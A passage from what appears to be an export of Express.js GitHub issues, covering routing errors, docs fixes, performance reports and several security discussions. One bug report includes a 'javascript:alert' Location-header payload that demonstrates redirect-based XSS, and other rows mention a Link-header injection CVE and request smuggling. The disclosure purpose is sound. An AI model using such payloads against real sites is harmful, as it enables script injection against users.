I'd be happy to contribute a PR for this documentation update if there's interest.",,2025-11-25 14:24:35+00:00,2026-01-18 23:07:12+00:00,2,nan,54.3629,documentation add async await error handling best practices guide description many developers struggle with properly handling errors in async await express routes a dedicated section in the documentation covering this pattern would be very helpful current situation the error handling documentation primarily covers synchronous patterns with async await being the standard for modern node js applications explicit guidance would help prevent unhandled promise rejections suggested documentation addition a section covering benefits reduces common errors for express beginners promotes proper error handling patterns prevents unhandled promise rejections in production i d be happy to contribute a pr for this documentation update if there s interest,bug,0.8622
expressjs/express,3661904204,Missing Vary: Accept header causes incorrect caching in content-negotiation,"The example uses res.format() to send different responses (HTML, JSON, text) depending on what the client asks for using the Accept header.
But the example does not include the Vary: Accept header.

Without this header, caches (like CDNs or proxies) may save one version of the page and give that same version to every user—even if they asked for a different format.
This means someone asking for JSON might accidentally get HTML from the cache.
Adding:
`res.vary('Accept')`

before calling res.format() tells caches that the response depends on the Accept header, so each format is cached correctly.
",invalid,2025-11-25 07:57:01+00:00,2026-01-17 04:04:20+00:00,3,invalid,52.8384,missing vary accept header causes incorrect caching in content negotiation the example uses res format to send different responses html json text depending on what the client asks for using the accept header but the example does not include the vary accept header without this header caches like cdns or proxies may save one version of the page and give that same version to every user even if they asked for a different format this means someone asking for json might accidentally get html from the cache adding before calling res format tells caches that the response depends on the accept header so each format is cached correctly,others,0.9224
expressjs/express,3652545191,npm bug url,"<!-- npm bugs express:  url not bugs!
 Please provide as much detailed information about your request as you can, specifically:

- The use case it helps solve and goal of the new feature
- Example code for how you would use or interact with the feature
- The expected behavior, in as much details as you can provide
- Do you want to work on this feature yourself? Would to look for help opening the PR? Or are you asking for others to work on the PR?
-->
",,2025-11-21 17:40:32+00:00,2025-11-23 15:04:39+00:00,2,nan,1.8917,npm bug url npm bugs express url not bugs please provide as much detailed information about your request as you can specifically the use case it helps solve and goal of the new feature example code for how you would use or interact with the feature the in as much details as you can provide do you want to work on this feature yourself would to look for help opening the pr or are you asking for others to work on the pr,bug,0.3481
expressjs/express,3648095005,[Security] - Vulnerability CVE-2024-10491,"A vulnerability has been identified in the Express response.links�function, allowing for arbitrary resource injection in the Link�header when unsanitized data is used.

The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources.

This vulnerability is especially relevant for dynamic parameters.

https://ossindex.sonatype.org/vuln/CVE-2024-10491",question,2025-11-20 16:37:42+00:00,2025-11-20 20:39:05+00:00,1,question,0.1676,security vulnerability cve a vulnerability has been identified in the express response links function allowing for arbitrary resource injection in the link header when unsanitized data is used the issue arises from improper sanitization in header values which can allow a combination of characters like and to preload malicious resources this vulnerability is especially relevant for dynamic parameters,help,0.7693
expressjs/express,3629947841,Minor Cleanup: Use Cached slice Reference in app.listen Implementation,"### **Description**

While reviewing the `application.js` file, I noticed that Express defines:

```js 
var slice = Array.prototype.slice
```

but later in `app.listen`, it still uses the full property access:

```js
var args = Array.prototype.slice.call(arguments)
``` 

This can be simplified to use the cached reference:
```js 
var args = slice.call(arguments)`
```
### **Expected Behavior**

Use the already-defined `slice` reference for consistency and to avoid repeating  
```js
Array.prototype.slice 
```
The behavior remains identical.
### **Actual Behavior**

The code currently uses the direct prototype access instead of the cached reference.

### **Rationale**

-   Improves consistency within the file
    
-   Avoids repeated long-form prototype access
    
-   Slight micro-optimization (cached function reference)
    
-   No behavioral changes
    
-   All tests continue to pass
    

### **Proposed Change**

Replace:

```js
var args = Array.prototype.slice.call(arguments)
``` 

with:

```js
var args = slice.call(arguments)
``` 

I am happy to submit a pull request if maintainers consider this cleanup acceptable.",,2025-11-16 05:16:38+00:00,2025-11-23 23:52:17+00:00,0,nan,7.7748,minor cleanup use cached slice reference in app listen implementation description while reviewing the file i noticed that express defines but later in it still uses the full property access this can be simplified to use the cached reference use the already defined reference for consistency and to avoid repeating the behavior remains identical the code currently uses the direct prototype access instead of the cached reference rationale improves consistency within the file avoids repeated long form prototype access slight micro optimization cached function reference no behavioral changes all tests continue to pass proposed change replace with i am happy to submit a pull request if maintainers consider this cleanup acceptable,others,0.8573
expressjs/express,3579595036,sendFile fails within .git folder,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.1.0
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: Microsoft Windows NT 10.0.19045.0 x64
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: v24.6.0
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?
```js
const baseDir = path.join(import.meta.dirname, ""..""); // Update as required by project structure
route.get(""/test"", (_, res) => {
    res.sendFile(path.join(baseDir, "".git/HEAD""));
});
```
Send a request to /test. It will fail with a NotFoundError being thrown.

It does seem like `express.static` works fine with a .git root, however.",bug,2025-11-02 14:21:53+00:00,2025-11-02 14:41:16+00:00,5,bug,0.0135,sendfile fails within git folder the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this js const basedir path join import meta dirname update as required by project structure route get test res res sendfile path join basedir git head send a request to test it will fail with a notfounderror being thrown it does seem like works fine with a git root however,bug,0.5574
expressjs/express,3579582676,"Clarification of ""Install the executable. The executable's major version will match Express's:""","### Description

this sentence i feel is incomplete in the readme.md
so i suggest we can use ""Install the executable. The executable's major version will match Express's major version: ""
this way the sentence is more complete and good to read

### Expectations

i believe this is a good change for readability and won't cause a grammar error",,2025-11-02 14:09:11+00:00,2025-11-02 15:55:41+00:00,2,nan,0.074,clarification of install the executable the executable s major version will match express s description this sentence i feel is incomplete in the readme md so i suggest we can use install the executable the executable s major version will match express s major version this way the sentence is more complete and good to read expectations i believe this is a good change for readability and won t cause a grammar error,others,0.8306
expressjs/express,3553234684,feature to automatically print express.js logo,"feature to automatically print ASCII logo when an app starts (app.listen). I am waiting community thought on this. Thanks

```bash
shivams@shivam MINGW64 ~/Desktop/open-source/express/examples/hello-world (master)
$ node index.js 

  ___                           _
 │ __│_ ___ __ _ _ ___ ______  (_)___
 │ _│╲ ╲ ╱ '_ ╲ '_╱ ─_│_─<_─<_ │ (_─<
 │___╱_╲_╲ .__╱_│ ╲___╱__╱__(_)╱ ╱__╱
         │_│                 │__╱


Express started on port 3000
```
",,2025-10-26 03:27:25+00:00,2025-10-28 18:23:31+00:00,1,nan,2.6223,feature to automatically print express js logo feature to automatically print ascii logo when an app starts app listen i am waiting community thought on this thanks,feature,0.5228
expressjs/express,3538035245,Performance: compileTrust() has O(n^2) complexity causing 2+ second delays with large IP lists,"
The `compileTrust()` function in Express has severe performance issues when processing large IP lists, causing startup delays of 2+ seconds for applications with 1M+ trusted IPs.

## Performance Impact

| IP Count | Processing Time | Startup Delay |
|----------|----------------|---------------|
| 10,000   | 33ms           | 0.03s         |
| 100,000  | 213ms          | 0.21s         |
| 500,000  | 1,019ms        | 1.02s         |
| 1,000,000| 2,365ms        | 2.37s         |

## Real-World Scenarios Affected

- **CDNs**: 100K+ IPs → 213ms startup delay
- **Large Enterprises**: 500K+ IPs → 1+ second delay  
- **Cloud Providers**: 1M+ IPs → 2.3+ second delay

This impacts:
- Application startup time
- Server restart time
- Container startup time
- Cold starts in serverless environments


## Memory Usage

Large IP lists also consume significant memory:

| IP Count | String Size | Heap Increase | Ratio |
|----------|-------------|---------------|-------|
| 10,000   | 0.10 MB     | 3.24 MB       | 33.94x|
| 100,000  | 0.95 MB     | 34.18 MB      | 35.84x|
| 500,000  | 4.77 MB     | 149.93 MB     | 31.44x|


## Related Issues

This performance issue was initially reported in #6611, but that issue was based on a misunderstanding of how `compileTrust()` works. The reporter expected it to return an array of IPs, but it actually returns a predicate function for checking if an IP is trusted.

The real issue is the performance bottleneck, not the API behavior.

## Priority

**High** - T... [TRUNCATED]",,2025-10-21 20:17:03+00:00,2025-11-13 17:53:10+00:00,4,nan,22.9001,performance compiletrust has o n complexity causing second delays with large ip lists the function in express has severe performance issues when processing large ip lists causing startup delays of seconds for applications with m trusted ips performance impact ip count processing time startup delay ms s ms s ms s ms s real world scenarios affected cdns k ips ms startup delay large enterprises k ips second delay cloud providers m ips second delay this impacts application startup time server restart time container startup time cold starts in serverless environments memory usage large ip lists also consume significant memory ip count string size heap increase ratio mb mb x mb mb x mb mb x related issues this performance issue was initially reported in but that issue was based on a misunderstanding of how works the reporter expected it to return an array of ips but it actually returns a predicate function for checking if an ip is trusted the real issue is the performance bottleneck not the api behavior priority high t truncated,others,-0.2846
expressjs/express,3498533457,Why was this marked as spam?,"My comment [here](https://github.com/expressjs/express/pull/6830#issuecomment-3385135706) was marked as spam which I find a bit odd.

Have there already been attempts to combat the PR spam by adding some note to the readme?",,2025-10-09 10:18:07+00:00,2025-10-09 17:47:40+00:00,3,nan,0.3122,why was this marked as spam my comment here was marked as spam which i find a bit odd have there already been attempts to combat the pr spam by adding some note to the readme,others,-0.8807
expressjs/express,3493245529,Different route param parsing behavior between POST and GET requests,"Trying to adopt https://google.aip.dev/136 and use `:customMethod` to model non-standard operations.

The path definition I'm using is `/books/:bookId\\:upVote`.

The path params captured by express is different in POST and GET requests: in POST requests the `:upVote` postfix is correctly excluded from the `bookId` param, but in GET requests the `:upVote` is included in the `bookId` param captured.

Wondering why is this? And is this behavior something I can depend on?

express version: 4.21.0

Thanks!",question,2025-10-07 22:36:31+00:00,2025-11-13 18:09:33+00:00,6,question,36.8146,different route param parsing behavior between post and get requests trying to adopt and use to model non standard operations the path definition i m using is the path params captured by express is different in post and get requests in post requests the postfix is correctly excluded from the param but in get requests the is included in the param captured wondering why is this and is this behavior something i can depend on express version thanks,feature,0.5423
expressjs/express,3422915148,Problems with npm install in docker,"Simple test application generated with npm init and npm install
```
{
""name"": ""psvo"",
""version"": ""1.0.0"",
""description"": ""SPA Example"",
""license"": ""ISC"",
""author"": """",
""type"": ""module"",
""main"": ""index.js"",
""scripts"": {
},
""dependencies"": {
""express"": ""^5.1.0""
}
}
```

In Dockerfile
```
FROM node:22-alpine
WORKDIR /app
COPY package*.json .
RUN npm install --no-update-notifier
EXPOSE 80
CMD [""npm"", ""start""]
```

In docker compose
```
services:

  psvo-dev:
    container_name: psvo-dev
    build:
      context: .
      dockerfile: Dockerfile
    restart: unless-stopped
    volumes:
      - /app/node_modules
```

When running docker compose build, npm install runs for a few minutes and issues the following error:
```
usuario@server:~/ecosistema1/services/psvo$ docker compose build
[+] Building 148.2s (9/9) FINISHED
 => [internal] load local bake definitions                                                                                                                         0.0s
 => => reading from stdin 537B                                                                                                                                     0.0s
 => [internal] load build definition from Dockerfile.dev                                                                                                           0.0s
 => => transferring dockerfile: 207B                                                                                                                               0.0s
 => [... [TRUNCATED]",bug,2025-09-16 16:09:30+00:00,2025-09-16 16:12:09+00:00,0,bug,0.0018,problems with npm install in docker simple test application generated with npm init and npm install in dockerfile in docker compose when running docker compose build npm install runs for a few minutes and issues the following error usuario server ecosistema services psvo docker compose build building s finished internal load local bake definitions s reading from stdin b s internal load build definition from dockerfile dev s transferring dockerfile b s truncated,bug,-0.6908
expressjs/express,3395148444,Security audit with criticals,"Express 5.1.0 is giving this critical audit result since a couple of hours ago.

https://github.com/advisories/GHSA-8mgj-vmr8-frr6

Not sure what the right modus is here, run? hide?

Seems serious and I am having a difficult time getting it out of the dependencies, this debug package seems to be all over the place.

Any advise is welcome!
",question,2025-09-08 18:07:07+00:00,2025-09-08 19:17:10+00:00,2,question,0.0486,security audit with criticals express is giving this critical audit result since a couple of hours ago not sure what the right modus is here run hide seems serious and i am having a difficult time getting it out of the dependencies this debug package seems to be all over the place any advise is welcome,help,-0.0739
expressjs/express,3361727286,Supporting HTTP/2: HTTP/1.1 must die,"At BlackHat & DEF CON 33, James Kettle detailed that HTTP/1.1 contains fundamental desynchronization security vulnerabilities that researchers keep finding and will continue to find due to the poorly defined boundaries between requests. In that research, bug bounty hunters found $300k+ worth of bounties due to a novel HTTP Request Splitting vulnerability.

This research is summarized here: https://http1mustdie.com/

James believes that there will continue to be new, and noverl HTTP request smuggling vulnerabilities due to the fundamental insecure nature of HTTP/1.1.

His proposed mitigation is to encourage all backing servers to support HTTP/2.

I know that a ticket on this topic #5462, however given that this research is new, and situationally relevant to express, it seems like it was appropriate to create a new issue.",,2025-08-28 04:19:25+00:00,2025-09-12 20:31:13+00:00,2,nan,15.6749,supporting http http must die at blackhat def con james kettle detailed that http contains fundamental desynchronization security vulnerabilities that researchers keep finding and will continue to find due to the poorly defined boundaries between requests in that research bug bounty hunters found k worth of bounties due to a novel http request splitting vulnerability this research is summarized here james believes that there will continue to be new and noverl http request smuggling vulnerabilities due to the fundamental insecure nature of http his proposed mitigation is to encourage all backing servers to support http i know that a ticket on this topic however given that this research is new and situationally relevant to express it seems like it was appropriate to create a new issue,help,0.3182
expressjs/express,3350922460,TypeError: Missing parameter name at 1 when using Express v5 with valid routers,"**System**

-   **Node.js version:** v20.19.4
-   **Express version:** 5.1.0 (beta)
-   **`@types/express` version:** 5.0.3 (beta)
-   **OS:** Linux (Linux Mint XCFE)
-   **Package Manager:** pnpm


When setting up a basic Express.js v5 beta server with a simple router, the application crashes immediately upon startup. The error is a `TypeError: Missing parameter name` thrown from the `path-to-regexp` library, even when all defined route paths are syntactically correct.

The expected behavior is for the server to start successfully, as the route definitions are valid. The issue seems to stem from an internal incompatibility within the Express 5 beta dependencies.




The server crashes immediately with the following stack trace:

```
/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:153
      throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:153:13)
    at lexer (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:171:21)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/... [TRUNCATED]",bug,2025-08-25 08:26:27+00:00,2025-08-25 14:03:29+00:00,1,bug,0.2341,typeerror missing parameter name at when using express v with valid routers system node js version v express version beta version beta os linux linux mint xcfe package manager pnpm when setting up a basic express js v beta server with a simple router the application crashes immediately upon startup the error is a thrown from the library even when all defined route paths are syntactically correct the is for the server to start successfully as the route definitions are valid the issue seems to stem from an internal incompatibility within the express beta dependencies the server crashes immediately with the following stack trace home virtualabishek desktop asvision backend node modules pnpm path to regexp node modules path to regexp src index ts throw new typeerror typeerror missing parameter name at at name home virtualabishek desktop asvision backend node modules pnpm path to regexp node modules path to regexp src index ts at lexer home virtualabishek desktop asvision backend node modules pnpm path to regexp node modules path to regexp src index ts at lexer next at iter peek home virtualabishek desktop asvision backend node modules pnpm path to regexp node modules path to regexp truncated,bug,-0.4939
expressjs/express,3233283453,Local Server Crashed while executing code with Wildcard Route,"I am using express@5.1.0,  In this version i am facing issue with wildcard ('*') route. My slocal server is running properly without using ""app.all('*', (req,res,next) => {//code.......})"". but on this route i am facing issue.



<img width=""923"" height=""1010"" alt=""Image"" src=""https://github.com/user-attachments/assets/61bd8498-0485-4651-a9a1-d26ce68b650e"" />
<img width=""412"" height=""149"" alt=""Image"" src=""https://github.com/user-attachments/assets/8ef45231-cabf-4652-b2d8-746ad1616665"" />
<img width=""554"" height=""613"" alt=""Image"" src=""https://github.com/user-attachments/assets/65668b66-55ad-4c2c-92ca-48da3ff54e14"" />
",bug,2025-07-15 18:23:02+00:00,2025-07-15 18:27:41+00:00,1,bug,0.0032,local server crashed while executing code with wildcard route i am using express in this version i am facing issue with wildcard route my slocal server is running properly without using app all req res next code but on this route i am facing issue,bug,0.0
expressjs/express,3227577575,res.redirect('/') from POST route redirects to HTTPS instead of HTTP in development,"When running an Express.js application in a local development environment (served over HTTP), I'm observing an unexpected redirect to HTTPS when performing res.redirect('/') from a POST route. This behavior does not occur when redirecting from a GET route to a relative path, or when redirecting to a non-root path.

**Steps to Reproduce:**

Set up a basic Express.js application locally, explicitly configured to serve over HTTP (e.g., using const http = require(""http""); http.createServer(app).listen(PORT);).

Define a simple POST route that performs a redirect to the root path:

```
const express = require('express');
const app = express();

app.use(express.json()); // Or express.urlencoded({ extended: true }) if handling form data

app.post('/test-post-redirect', (req, res) => {
  // This is the problematic redirect
  res.redirect('/');
});

// For comparison: A GET route that redirects to a non-root path (works as expected)
app.get('/test-get-redirect', (req, res) => {
  res.redirect('/some-other-path'); // This correctly redirects to http://localhost:PORT/some-other-path
});

// Define the root and a test target for clarity
app.get('/', (req, res) => {
  res.send('Welcome to the home page (HTTP)!');
});

app.get('/some-other-path', (req, res) => {
  res.send('This path was reached via HTTP redirect.');
});

// Assuming app is listening on http://localhost:3000
```
From a client (e.g., Postman, browser fetch API, or a simple HTML form), send a POST request to http://localhost... [TRUNCATED]",,2025-07-14 06:47:24+00:00,2025-07-18 00:41:39+00:00,4,nan,3.746,res redirect from post route redirects to https instead of http in development when running an express js application in a local development environment served over http i m observing an unexpected redirect to https when performing res redirect from a post route this behavior does not occur when redirecting from a get route to a relative path or when redirecting to a non root path set up a basic express js application locally explicitly configured to serve over http e g using const http require http http createserver app listen port define a simple post route that performs a redirect to the root path from a client e g postman browser fetch api or a simple html form send a post request to truncated,others,0.0
expressjs/express,3225779240,req.query is now a getter and can't use as custom server in front of Next.js,"When using Express as a custom server in front of Next.js, accessing req.query directly no longer returns a mutable plain object. Instead, it is now a getter, and attempts to modify it or use it as a plain object lead to unexpected behavior or errors.

This change affects routes where the server modifies or depends on the mutability of req.query before passing it to Next.js, breaking compatibility with existing implementations.


Next.js Issue:
https://github.com/vercel/next.js/issues/79158

---

### Context

We applied the following patch, but we do not believe it is the best solution:

```js
// Express 5 makes the 'query' property read-only, but Next.js needs to write to it
try {
  Object.defineProperty(req, 'query', descriptor);
} catch (error) {
  // If property already exists and is configurable, delete and recreate it
  try {
    // eslint-disable-next-line @typescript-eslint/no-explicit-any
    delete (req as any).query;
    Object.defineProperty(req, 'query', descriptor);
    logger.logInfo(`query property fixed ${error}`, requestID);
  } catch (error) {
    logger.logWarn(
      `Could not fix query property for Next.js compatibility: ${error}`,
      requestID
    );
  }
}
```

Is it possible to know why Express decided to change? This would help us understand where we need to make adjustments (on the Next.js side or the Express.js side).
",,2025-07-12 21:11:54+00:00,2025-07-13 18:34:07+00:00,1,nan,0.8904,req query is now a getter and can t use as custom server in front of next js when using express as a custom server in front of next js accessing req query directly no longer returns a mutable plain object instead it is now a getter and attempts to modify it or use it as a plain object lead to un or errors this change affects routes where the server modifies or depends on the mutability of req query before passing it to next js breaking compatibility with existing implementations next js issue context we applied the following patch but we do not believe it is the best solution is it possible to know why express decided to change this would help us understand where we need to make adjustments on the next js side or the express js side,others,0.9001
expressjs/express,3191074328,Docs: Broken link to Code of Conduct in README.md,"### Description

In the main `Readme.md` file, the reference link for the Code of Conduct at the bottom of the file is broken.

**Current (broken) link:**
`[Code of Conduct]: https://github.com/expressjs/express/blob/master/Code-Of-Conduct.md` (Line 272)

This link results in a 404 error because the file does not exist at that location.

The project appears to be using the organization-wide Code of Conduct located in the `expressjs/.github` repository.

**The correct link should be:**
`https://github.com/expressjs/.github/blob/master/CODE_OF_CONDUCT.md`

The `README.md` should be updated to point to the correct URL.

### Expectations

The Code of conduct link should point to:
https://github.com/expressjs/.github/blob/master/CODE_OF_CONDUCT.md",,2025-07-01 07:16:05+00:00,2025-07-12 19:16:08+00:00,1,nan,11.5,docs broken link to code of conduct in readme md description in the main file the reference link for the code of conduct at the bottom of the file is broken current broken link line this link results in a error because the file does not exist at that location the project appears to be using the organization wide code of conduct located in the repository the correct link should be the should be updated to point to the correct url expectations the code of conduct link should point to,documentation,-0.9062
expressjs/express,3188955444,location function does not validate potentially malicious URLs,"## Bug: location function does not validate potentially malicious URLs

## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create an Express application
2. Set up a route that uses `res.location()` with a malicious URL
3. Send a request to this route and observe the response headers

```js
const express = require('express');
const app = express();

app.get('/redirect', (req, res) => {
  // Set a malicious URL in the Location header
  res.location('javascript:alert(""XSS attack"")');
  res.status(302).send('Redirecting...');
});

app.listen(3000, () => {
  console.log('Server running on port 3000');
});

// Using curl to test:
// $ curl -i http://localhost:3000/redirect
//
// The response headers will contain:
// Location: javascript:alert(""XSS attack"")

```

## What is the expected behavior?
The location function should validate the URL scheme and reject or sanitize non-HTTP(S) URLs, especially those with potentially dangerous schemes like javascript:, data.

## What happens instead?
The function sets the malicious URL directly in the Location header without any validation:
```
HTTP/1.1 302 Found
Location: javascript:alert(""XSS attack"")
...
```
This creates a security vulnerability as browsers following this redirect might execute the JavaScript code, leading to Cross-Site Scripting (XSS) attacks.

## Source of the issue
The issue is in ... [TRUNCATED]",bug,2025-06-30 15:36:35+00:00,2025-07-03 21:36:53+00:00,2,bug,3.2502,location function does not validate potentially malicious urls bug location function does not validate potentially malicious urls rmation version express beta platform linux node js version x any other relevant information n a what steps will reproduce the bug create an express application set up a route that uses with a malicious url send a request to this route and observe the response headers what is the the location function should validate the url scheme and reject or sanitize non http s urls especially those with potentially dangerous schemes like javascript data what happens instead the function sets the malicious url directly in the location header without any validation this creates a security vulnerability as browsers following this redirect might execute the javascript code leading to cross site scripting xss attacks source of the issue the issue is in truncated,bug,-0.911
expressjs/express,3188948172,setCharset function does not preserve case of original Content-Type,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Import the utils module from Express
2. Call the `setCharset` function with an uppercase Content-Type and a charset
3. Observe that the returned string converts the Content-Type to lowercase

```js
const utils = require('express/lib/utils');

// Call setCharset with uppercase Content-Type
const contentType = 'TEXT/PLAIN';
const charset = 'UTF-8';
const result = utils.setCharset(contentType, charset);

console.log(result); 
// Actual: 'text/plain; charset=UTF-8'
// Expected: 'TEXT/PLAIN; charset=UTF-8'

```

## What is the expected behavior?
The function should preserve the original case of the Content-Type while adding the charset parameter. For example, when TEXT/PLAIN is provided as input, the output should be TEXT/PLAIN; charset=UTF-8.

## What happens instead?
The function converts the Content-Type to lowercase, so TEXT/PLAIN becomes text/plain; charset=UTF-8 in the output.

## Source of the issue
The issue is in the setCharset function in lib/utils.js.
The function uses contentType.parse() which normalizes the type to lowercase, and then contentType.format() which outputs the type in lowercase, resulting in the loss of the original case information.","bug,invalid",2025-06-30 15:34:38+00:00,2025-11-23 22:51:49+00:00,3,"bug,invalid",146.3036,setcharset function does not preserve case of original content type rmation version express beta platform linux node js version x any other relevant information n a what steps will reproduce the bug import the utils module from express call the function with an uppercase content type and a charset observe that the returned string converts the content type to lowercase what is the the function should preserve the original case of the content type while adding the charset parameter for example when text plain is provided as input the output should be text plain charset utf what happens instead the function converts the content type to lowercase so text plain becomes text plain charset utf in the output source of the issue the issue is in the setcharset function in lib utils js the function uses contenttype parse which normalizes the type to lowercase and then contenttype format which outputs the type in lowercase resulting in the loss of the original case information,bug,0.4215
expressjs/express,3188941683,The compileTrust function exhibits issues when processing exceptionally long strings.,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create a very long string with many IP addresses separated by commas
2. Call the `compileTrust` function with this string
3. Call the returned function and check its length

```js
const utils = require('./lib/utils');

// Create a string with 1,000,001 IP addresses
const longString = Array(1000001).fill('127.0.0.1').join(',');

// Call compileTrust with the long string
const result = utils.compileTrust(longString);

// Check the length of the result when called
console.log(result().length); // Expected: 1000001, Actual: undefined

```

## What is the expected behavior?
The function should correctly process the very long string, split it into an array of IP addresses, and return a function that, when called, returns an array with 1,000,001 elements (one for each IP address in the original string).

## What happens instead?
When calling the result function and checking its length, it returns undefined instead of the expected value of 1,000,001.

When processing a string input, the function splits the string and maps the values, but doesn't ensure the returned function properly returns the processed array for very long inputs. There's inconsistency in how the function handles string inputs compared to other input types.",bug,2025-06-30 15:33:02+00:00,2025-07-02 01:41:06+00:00,0,bug,1.4223,the compiletrust function exhibits issues when processing exceptionally long strings rmation version express beta platform linux node js version x any other relevant information n a what steps will reproduce the bug create a very long string with many ip addresses separated by commas call the function with this string call the returned function and check its length what is the the function should correctly process the very long string split it into an array of ip addresses and return a function that when called returns an array with elements one for each ip address in the original string what happens instead when calling the result function and checking its length it returns undefined instead of the expected value of when processing a string input the function splits the string and maps the values but doesn t ensure the returned function properly returns the processed array for very long inputs there s inconsistency in how the function handles string inputs compared to other input types,bug,0.7311
expressjs/express,3188938176,The compileTrust function exhibits issues when processing exceptionally long strings.,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create a very long string with many IP addresses separated by commas
2. Call the `compileTrust` function with this string
3. Call the returned function and check its length

```js
const utils = require('./lib/utils');

// Create a string with 1,000,001 IP addresses
const longString = Array(1000001).fill('127.0.0.1').join(',');

// Call compileTrust with the long string
const result = utils.compileTrust(longString);

// Check the length of the result when called
console.log(result().length); // Expected: 1000001, Actual: undefined

```

## What is the expected behavior?
The function should correctly process the very long string, split it into an array of IP addresses, and return a function that, when called, returns an array with 1,000,001 elements (one for each IP address in the original string).

## What happens instead?
When calling the result function and checking its length, it returns undefined instead of the expected value of 1,000,001.

When processing a string input, the function splits the string and maps the values, but doesn't ensure the returned function properly returns the processed array for very long inputs. There's inconsistency in how the function handles string inputs compared to other input types.",bug,2025-06-30 15:32:14+00:00,2025-11-13 17:58:00+00:00,3,bug,136.1012,the compiletrust function exhibits issues when processing exceptionally long strings rmation version express beta platform linux node js version x any other relevant information n a what steps will reproduce the bug create a very long string with many ip addresses separated by commas call the function with this string call the returned function and check its length what is the the function should correctly process the very long string split it into an array of ip addresses and return a function that when called returns an array with elements one for each ip address in the original string what happens instead when calling the result function and checking its length it returns undefined instead of the expected value of when processing a string input the function splits the string and maps the values but doesn t ensure the returned function properly returns the processed array for very long inputs there s inconsistency in how the function handles string inputs compared to other input types,bug,0.7311
expressjs/express,3185652592,"Using wildcard routes ""*"" or ""/*"" in Express v5 causes path-to-regexp to throw an error due to broken parameter parsing."," <!-- The process for bug fixing is:-->
Issue: Using wildcard routes `*` or `/*` in Express v5 causes `path-to-regexp` to throw an error due to broken parameter parsing.

Error:
```
/home/*****/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError
    at name (/home/*****/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/home/*****/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/*****/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/home/*****/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/home/*****/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/home/*****/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/home/*****/node_modules/path-to-regexp/dist/index.js:183:20)
    at /home/*****/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)
```
Details:
When defining routes with `*` or `/*`  patterns in Express 5.x, `path-to-regexp` fails to parse the route pattern properly, throwing a `Missing parameter name error`. This breaks wildcard routing functionality.



## Environment information

**Version**:
""dependencies"": {
  ""express"": ""^5.1.0"",
  ""sqlite3"": ""^5.1.7""
}


**Platform**:
Ubuntu 24.04.2 LTS

**Node.js version**:
Node.js v22.17.0


##... [TRUNCATED]",bug,2025-06-29 01:46:48+00:00,2025-06-29 03:09:27+00:00,1,bug,0.0574,using wildcard routes or in express v causes path to regexp to throw an error due to broken parameter parsing issue using wildcard routes or in express v causes to throw an error due to broken parameter parsing error details when defining routes with or patterns in express x fails to parse the route pattern properly throwing a this breaks wildcard routing functionality rmation version dependencies express sqlite platform ubuntu lts node js version node js v truncated,bug,-0.9371
expressjs/express,3180625319,Can the Express example be updated to use a callback function with app.listen like on the Expressjs website?,"On the Expressjs website, it uses a callback function with `app.listen()` like this:

```javascript
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

But on the npm package page for Express, the example is this:

```javascript
app.listen(3000)
```
I was wondering if the example could be updated with the callback function so that the user knows that Express is running and listening. I can make a pull request for this change if necessary.

Thanks!

-Brian",question,2025-06-26 22:21:22+00:00,2025-12-17 13:30:39+00:00,2,question,173.6314,can the express example be updated to use a callback function with app listen like on the expressjs website on the expressjs website it uses a callback function with like this but on the npm package page for express the example is this i was wondering if the example could be updated with the callback function so that the user knows that express is running and listening i can make a pull request for this change if necessary thanks brian,documentation,0.7469
expressjs/express,3178783533,The the contributing md link is borken.,"### Description

When clicked on contributing.md its not redirecting to any valid page to guiding the new contributors who joined the project . We need to fix it. 

![Image](https://github.com/user-attachments/assets/5ef10a3f-a2b2-4f42-a493-494192599fbe)

![Image](https://github.com/user-attachments/assets/01240e76-06a5-4a38-9615-89be7d6bb229)

please assign this task to me

### Expectations

